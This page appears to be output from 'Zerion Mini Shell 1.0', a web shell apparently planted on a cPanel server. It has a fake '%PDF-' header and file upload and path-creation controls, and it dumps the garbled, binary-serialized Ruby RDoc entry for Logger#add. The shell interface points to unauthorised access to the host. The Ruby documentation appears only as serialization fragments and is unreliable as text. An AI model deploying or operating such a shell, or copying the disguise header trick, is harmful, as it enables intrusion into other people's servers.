%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Logger/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Logger/add-i.ri

U:RDoc::AnyMethod[iI"add:EFI"Logger#add;TF:publico:RDoc::Markup::Document:@parts[S:RDoc::Markup::Heading:
leveli:	textI"	Args;To:RDoc::Markup::BlankLineo:RDoc::Markup::List:
@type:	NOTE:@items[	o:RDoc::Markup::ListItem:@label[I"+severity+;T;	[o:RDoc::Markup::Paragraph;	[I"LSeverity.  Constants are defined in Logger namespace: +DEBUG+, +INFO+, ;TI",+WARN+, +ERROR+, +FATAL+, or +UNKNOWN+.;To;;[I"+message+;T;	[o;;	[I"-The log message.  A String or Exception.;To;;[I"+progname+;T;	[o;;	[I"GProgram name string.  Can be omitted.  Treated as a message if no ;TI"%+message+ and +block+ are given.;To;;[I"+block+;T;	[o;;	[I"ICan be omitted.  Called to get a message string if +message+ is nil.;T@
S;
;i;I"Return;T@
o;;	[I"NWhen the given severity is not high enough (for this particular logger), ;TI"'log no message, and return +true+.;T@
S;
;i;I"Description;T@
o;;	[I"NLog a message if the given severity is high enough.  This is the generic ;TI"Ologging method.  Users will be more inclined to use #debug, #info, #warn, ;TI"#error, and #fatal.;T@
o;;	[I"J<b>Message format</b>: +message+ can be any object, but it has to be ;TI"Mconverted to a String in order to log it.  Generally, +inspect+ is used ;TI"*if the given object is not a String. ;TI"OA special case is an +Exception+ object, which will be printed in detail, ;TI"Dincluding message, class, and backtrace.  See #msg2str for the ;TI" implementation if required.;T@
S;
;i;I"	Bugs;T@
o;;:BULLET;[o;;0;	[o;;	[I"Logfile is not locked.;To;;0;	[o;;	[I",Append open does not need to lock file.;To;;0;	[o;;	[I"AIf the OS supports multi I/O, records possibly may be mixed.;T:
@fileI"lib/logger.rb;T:0@omit_headings_from_table_of_contents_below0I"ALogger#add(severity, message = nil, progname = nil) { ... }
;TI";T[[I"log;Fo;;	[;@V;0I".(severity, message = nil, progname = nil);T@VFI"Logger;TcRDoc::NormalClass00

Zerion Mini Shell 1.0